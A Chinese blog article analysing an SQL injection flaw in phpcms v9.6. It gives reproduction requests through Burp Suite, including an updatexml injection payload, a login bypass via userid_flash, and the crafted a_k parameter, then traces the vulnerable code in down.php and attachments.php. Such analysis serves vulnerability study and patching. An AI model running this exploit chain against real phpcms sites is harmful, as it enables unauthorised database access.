phpcmsv9.6注入漏洞詳細分析

玄學醬發表於2017-09-19
本文講的是phpcms v9.6 注入漏洞詳細分析搭建環境,我在本地搭建域名為www.joke33.com的測試環境。

開啟burpsuite,進行攔截。

phpcms v9.6 注入漏洞詳細分析

開啟火狐瀏覽器,訪問有漏洞的網站。

http://www.joke33.com/index.php

phpcms v9.6 注入漏洞詳細分析

在burpsuite下可以看到攔截到的資料包,然後選擇repeater進行重放。

修改資料包訪問,以GET方式訪問如下url:

/index.php?m=wap&c=index&a=init&siteid=1

獲取一個cookie值。

phpcms v9.6 注入漏洞詳細分析

修改資料包,以POST的方式訪問如下url:

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

傳入userid_flash變數,變數的值為剛剛獲取到的cookie的值

userid_flash=5ceb9go-1e01hkQc66J1WS7jTWMYriQh6lODXwUnLIiTZh_k

在資料包頭的結尾新增(這一步必須要,要不然復現失敗。應該資料包的格式要求)

content-Type:application/x-www-form-urlencoded
content-Length:53

提交資料包,回返回一段加密的密文,將這段密文複製下來。

phpcms v9.6 注入漏洞詳細分析

修改資料包,以POST的方式訪問如下url:

/index.php?m=content&c=down&a_k=b2d2BO0WDcSf_BpiZ3UMBtiFx_4FRMv_1Mf35JQNq_ct__4JuWjwgdJjKmtTIZDn5WJBrexM-Nfg7S9J3QwB8U6vrFk3Fti5iJIkK6Gp6B6-ZSZsRKN4emXDpQAEeOD_IzG3kJ8B8ybdHIdytB3yjB7VI8fLm6fojfZOuCMD2iiERJE4aSBOTBM

a_k的值為上一步返回的那段密文。

提交之後即可成功復現漏洞。

phpcms v9.6 注入漏洞詳細分析

我們來分析一下這個漏洞。

我們將漏洞分析分為三個部分:

第一部分

根據最後注入的漏洞url,跟進到phpcmsphpcmsmodulescontentdown.php檔案

跟進到init()函式,這邊的這幾行程式碼是將$a_k的值進行解密

phpcms v9.6 注入漏洞詳細分析

我們echo一下解密後的值

phpcms v9.6 注入漏洞詳細分析

現在$a_k裡面是一個字串。

程式在後面會使用parse_str對每個變數進行賦值。(有些變數覆蓋漏洞就是parse_str這個函式搞得事情)

phpcms v9.6 注入漏洞詳細分析

這裡我們分析一下parse_str函式,parse_str函式是將字串解析成多個變數。

百度了一下,parse_str的大概格式如下:

parse_str("first=value&two=fooz");

中間有一個“&”符號,沒有“&”符號會出錯

所以,我們在進行注入的時候寫的注入語句是

&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&

而不是

id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&

如果沒有“&”符號,會發現注入的引數會變成空值,那就沒有注入漏洞了

經過parse_str函式後,id的值就變成了可注入的值

phpcms v9.6 注入漏洞詳細分析

跟進程式碼的第26行,程式直接用get_one函式帶入有注入的語句進行資料庫查詢,所以導致了sql注入。

phpcms v9.6 注入漏洞詳細分析

這邊注入點的難點在於,怎麼獲取有漏洞$a_k,我們接下來看下怎麼獲取有漏洞$a_k值。

第二部分

跟著漏洞的思路,我們跟進到phpcmsphpcmsmodulesattachmentattachments.php檔案

來到241行

phpcms v9.6 注入漏洞詳細分析

發現這個src引數有經過safe_replace()函式的處理,但是並沒有其他的過濾,我們可以拿過來利用。

我們以get方式傳入有注入的src值,傳入的引數會被記錄到cookie的att_json裡面。

phpcms v9.6 注入漏洞詳細分析

這裡面還有一個問題。

我們呼叫的swfupload_json()函式是在attachments這個類中,這個類有一個建構函式__construct。

phpcms v9.6 注入漏洞詳細分析

我們看到建構函式會判斷是否登入。

但是依據第17行的程式碼,我們可以知道,如果我們POST一個正常存在的userid_flash值,是可以繞過登入判斷的。

我們跟進到sys_auth()函式

phpcms v9.6 注入漏洞詳細分析

該函式是phpcms內cookie的加密解密函式,所有cookies下加密解密都會經過這個函式。

swfupload_json()函式呼叫的是sys_auth()的DECODE方式,也就是解密方式,我們可以找到一個呼叫的是sys_auth()的ENECODE方式的函式就能繞過了。

第三部分

我們跟進到phpcmsphpcmsmoduleswapindex.php檔案

看下這個建構函式

phpcms v9.6 注入漏洞詳細分析

跟進到set_cookie()函式

phpcms v9.6 注入漏洞詳細分析

我們可以看到,set_cookie()這邊呼叫了sys_auth()並且是ENCODE方式,並且計算出來的值儲存在cookie裡面,我們是可以獲取到的。

那我們就可以拿過來用了,到這邊我們就可以繞過登入限制了。

原文釋出時間為:2017年5月9日
本文作者:angle
本文來自雲棲社群合作伙伴嘶吼,瞭解相關資訊可以關注嘶吼網站。


相關文章